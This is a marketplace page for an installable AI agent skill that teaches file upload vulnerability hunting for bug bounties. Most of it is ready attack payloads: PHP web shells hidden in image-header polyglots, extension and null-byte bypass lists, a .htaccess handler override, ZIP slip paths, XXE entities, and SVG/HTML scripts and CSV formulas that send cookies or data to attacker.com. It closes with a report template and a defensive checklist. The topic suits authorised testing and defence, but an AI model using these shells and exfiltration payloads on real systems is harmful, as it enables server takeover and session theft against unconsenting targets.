# File Upload

> Hunt file upload vulnerabilities — bypass content-type/extension/magic-byte/size filters, achieve XSS via SVG/HTML upload, achieve RCE via .phtml/.jsp/.htaccess, exploit path traversal in filenames, and use polyglot files. Use when an endpoint accepts file uploads.

- Skill: `0xghostcat/file-upload` (Agent Skill)
- Install (CLI): `npx skillmds@latest add 0xghostcat/file-upload`
- Raw SKILL.md: https://api.skillmd.com/api/skills/0xghostcat/file-upload/raw
- Safety review: pending (external: skill-scanner PASS, skillspector WARNING)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Web & Frontend
- Author: 0xGhostCAT (https://skillmd.com/u/0xghostcat)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/0xghostcat/file-upload

---


# File Upload Hunting

> 10 bypass techniques. One always works.

## When to invoke

**Trigger phrases:**
- "test upload"
- "file upload bypass"
- "SVG XSS"
- "upload RCE"
- "polyglot file"

## Where uploads happen

| Feature | Allowed types (claimed) | Real attack surface |
|---|---|---|
| Avatar / profile pic | png, jpg | SVG XSS, polyglot |
| Resume upload (job apps) | pdf, doc | PDF JS, doc macro (rarely), filename injection |
| Logo upload (custom branding) | png, jpg, svg | SVG XSS (often unblocked!) |
| Attachment in messages | "all" or limited | RCE via .phtml/.jsp, server-side parsing |
| Document import (Excel/CSV) | xlsx, csv | XXE, CSV formula injection |
| Theme / template upload | zip | LFI via path traversal, RCE if executed |
| Bulk import (CSV/JSON) | csv, json | injection, server-side parsing |
| Profile cover banner | png, jpg, gif | polyglot, GIFAR |
| Webhook attachment | misc | Content-Type confusion |

## The 10 bypass techniques

### Bypass 1: Extension blacklist
If they block `.php`, try:
```
.PHP        ← case
.PhP        ← mixed
.pHp
.phtml      ← alt PHP extension
.phps       ← PHP source
.pht
.php3       ← old
.php4
.php5
.php7
.phar       ← PHP archive
.inc        ← include file
.module     ← Drupal
.HTML       ← serve HTML if no script needed
.svg        ← SVG = JS in some contexts
.htaccess   ← if Apache, change config
.user.ini   ← PHP config override (FPM)
```

For ASP:
```
.asp .aspx .ascx .ashx .asa .asax .cer .config
```

For JSP:
```
.jsp .jspx .jspf .jsw .jsv
```

For Node:
```
.js   ← if served by web server inadvertently
.json ← if processed
```

### Bypass 2: Null byte injection
```
shell.php%00.png
shell.php\x00.png
shell.php\0.png
shell.php.png
```

Old but still works on legacy apps.

### Bypass 3: Double extension
```
shell.php.png      ← if extension parser takes last vs first
shell.png.php      ← if .png is whitelisted but server runs .php
shell.png.PhP
```

### Bypass 4: Content-Type spoof
The app may only check `Content-Type`. Send actual PHP with `Content-Type: image/png`.

```http
POST /upload HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----X

------X
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/png

<?php system($_GET['c']); ?>
------X--
```

### Bypass 5: Magic byte prefix (polyglot)
Prepend the file's first bytes with a valid image header:

```bash
# GIF87a header + PHP code
printf 'GIF89a\n<?php system($_GET["c"]); ?>' > shell.php

# PNG header + PHP code
printf '\x89PNG\r\n\x1a\n<?php system($_GET["c"]); ?>' > shell.php

# JPEG header
printf '\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00\x43\x00<?php system($_GET["c"]); ?>' > shell.jpg
```

These pass `getimagesize()` AND can be parsed as PHP by some servers.

### Bypass 6: SVG XSS (the easy win)
If SVG is allowed, you have stored XSS:

```xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
    <script type="text/javascript">
        alert(document.domain);
        // Or: fetch('https://attacker.com/?c='+document.cookie);
    </script>
</svg>
```

Set Content-Type when uploading: `image/svg+xml`.

### Bypass 7: HTML upload → stored XSS
If `.html` allowed (or `.html` serves with HTML Content-Type):
```html
<!DOCTYPE html>
<html><body><script>fetch('https://attacker.com/?c='+document.cookie)</script></body></html>
```

### Bypass 8: .htaccess upload (Apache)
If `.htaccess` allowed AND Apache:
```apache
# .htaccess
AddHandler php5-script .png
# Now any .png is executed as PHP
```

Upload `.htaccess`, then upload `shell.png` with PHP content.

### Bypass 9: ZIP slip / path traversal in filename
```
filename="../../../../etc/passwd"
filename="../../var/www/html/shell.php"
filename="..\\..\\windows\\system32\\hosts"
```

Some upload endpoints use the filename for storage path.

For ZIP archives (theme uploads), include traversed paths:
```bash
# Create zip with malicious filename
mkdir bad && cd bad
echo '<?php system($_GET["c"]); ?>' > shell.php
zip ../bad.zip ./../../var/www/html/shell.php
```

### Bypass 10: SVG XML External Entity (XXE)
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg>&xxe;</svg>
```

Or for blind XXE via OOB:
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<svg/>
```

### Bonus: Polyglot files

A polyglot is a file that's valid in multiple formats:
- GIFAR (GIF + JAR) — old but interesting
- PDF/JS polyglot
- HTML/SVG polyglot

See `arsenal/file-upload-polyglots/` for ready-made polyglots.

## Step-by-Step Workflow

### 1. Identify upload endpoints

From recon:
```bash
# Find upload-related endpoints
grep -hiE 'upload|file|attach|avatar|import|logo|banner' endpoints-live.txt > upload-candidates.txt

# Check OPTIONS to see allowed methods
for url in $(cat upload-candidates.txt); do
    curl -sI -X OPTIONS "$url"
done
```

### 2. Probe allowed types

Try uploading a benign file of each type and observe:
```
.png  → 200 (allowed)
.svg  → 200 (allowed!) ← SVG XSS time
.pdf  → 200 (allowed)
.php  → 403 (blocked)
.html → 415 (blocked)
```

### 3. Burp Intruder for extension fuzzing

Capture an upload request. Mark the filename. Set payload list to extension wordlist.

Wordlist: `arsenal/wordlists/file-upload-extensions.txt`

### 4. Watch for return URL / path

When the upload succeeds, the response often gives the path:
```json
{"url": "https://cdn.target.com/uploads/abc123-shell.php.png"}
```

Visit it. If it executes as PHP, you have RCE.

### 5. Filename normalization tricks

The server may rename your file. Try:
```
shell.php           → renamed to shell.png (server-side, your control lost)
shell.phP           → may not be normalized
shell.php5          → may not be normalized
shell.png.php       → renamed to shell.png.php (last segment "kept")
shell                → no extension; server appends?
shell.              → trailing dot
shell. .php         → multiple spaces
shell.php;.png      → semicolon (IIS quirk)
shell.png/.;/.php   → IIS quirk
```

### 6. Race condition on upload

Some apps temporarily store the file before validation:
```
T+0ms:   upload shell.php → file written to /tmp/shell.php
T+50ms:  validation runs → file deleted
T+25ms:  YOU access /tmp/shell.php → still there → RCE
```

Use Burp Turbo Intruder to upload + access in tight loop.

### 7. Test CSV / Excel formula injection

If app exports user data to CSV:
```
=cmd|'/c calc'!A0
=HYPERLINK("http://attacker.com?d="&A1, "click")
@SUM(1+9)*cmd|'/c calc'!A0
=IMPORTXML("http://attacker.com", "//*")
```

When victim opens CSV in Excel → command executes (mainly Windows / no auto-disable).

## Output template

```markdown
## Stored XSS via SVG avatar upload

### Summary
The avatar upload endpoint accepts SVG files without sanitizing inline JavaScript. Uploaded SVG renders inline in all places the user's avatar appears (profile, comments, messages), affecting any viewer.

### Steps to reproduce
1. Log in as any user
2. Navigate to Settings → Profile → Change avatar
3. Upload the following SVG (filename `avatar.svg`, Content-Type `image/svg+xml`):
   ```xml
   <?xml version="1.0" standalone="no"?>
   <svg xmlns="http://www.w3.org/2000/svg">
     <script type="text/javascript">
       fetch('https://attacker-controlled.com/x?c=' + encodeURIComponent(document.cookie));
     </script>
   </svg>
   ```
4. Submit
5. View own profile: avatar URL returned: `https://cdn.target.com/u/12345/avatar.svg`
6. Any viewer (other users, admins) loading the profile triggers the script

### Impact
- Cookie theft (session_token is NOT HttpOnly — verified)
- Persistent: SVG remains until changed
- Self-propagating: profile views happen across the platform (mentions, comments, message threads)
- Admin viewing → admin session steal → privilege escalation
- Estimated affected: every user with profile interactions

### Suggested fix
1. Strip or block `<script>`, event handlers, and external references from uploaded SVGs (use DOMPurify on the server)
2. OR serve SVG with `Content-Disposition: attachment` so it doesn't render inline
3. OR re-render SVGs through a sanitizer/SVG-to-PNG pipeline
```

## Cross-references

- `[[xss]]` — SVG/HTML upload XSS
- `[[ssrf]]` — image-from-URL endpoints
- `[[ssti]]` — uploaded files as templates
- `[[content-discovery]]` — find upload endpoints

## Common pitfalls

1. **Reporting SVG XSS where SVG renders as image (not inline).** Browser context matters — verify `<img>` vs `<object>` vs direct nav.
2. **Reporting `.php` upload without execution.** "I uploaded shell.php" ≠ "RCE". You need to access the file and see code execute.
3. **CSV formula injection without confirmed admin impact.** Many programs require demonstration of an admin opening the CSV.
4. **Ignoring filename sanitization.** Some apps rename to UUID → your `.php` won't survive.
5. **CDN serves uploads with restrictive Content-Type.** Some CDNs (e.g., S3) always serve `application/octet-stream` for uploaded blobs → no XSS.

## File upload severity guide

| Finding | Severity |
|---|---|
| Stored XSS via SVG/HTML | High |
| RCE via .phtml or similar (file is executed) | Critical |
| RCE via .htaccess upload | Critical |
| Path traversal in filename overwriting system files | Critical |
| XXE via SVG/XML upload | High |
| CSV formula injection w/ admin victim | Medium-High |
| File DoS (large file / many files) | Often informative-only |

## Anti-bypass: when nothing works

If the app uses strict server-side validation:
1. Look for an **alternative upload path** (admin panel may have different validation)
2. Check **mobile API** — sometimes the mobile endpoint is laxer
3. Try **webhook attachment** uploads
4. Check `/import` paths (CSV, JSON, ZIP — different validators)
5. Re-test after **app updates** — new features may add new upload endpoints

## Quick "is upload safe" checklist

A safe upload endpoint:
- ✓ Whitelist (not blacklist) of extensions
- ✓ Re-encode images (strips polyglot payloads)
- ✓ Serves uploads from a separate domain (no cookie scope, no script context)
- ✓ `Content-Disposition: attachment` for non-image types
- ✓ `X-Content-Type-Options: nosniff`
- ✓ Renamed filenames (UUID)
- ✓ Size limits
- ✓ Antivirus / signature scanning

If any of these are missing → potential finding.

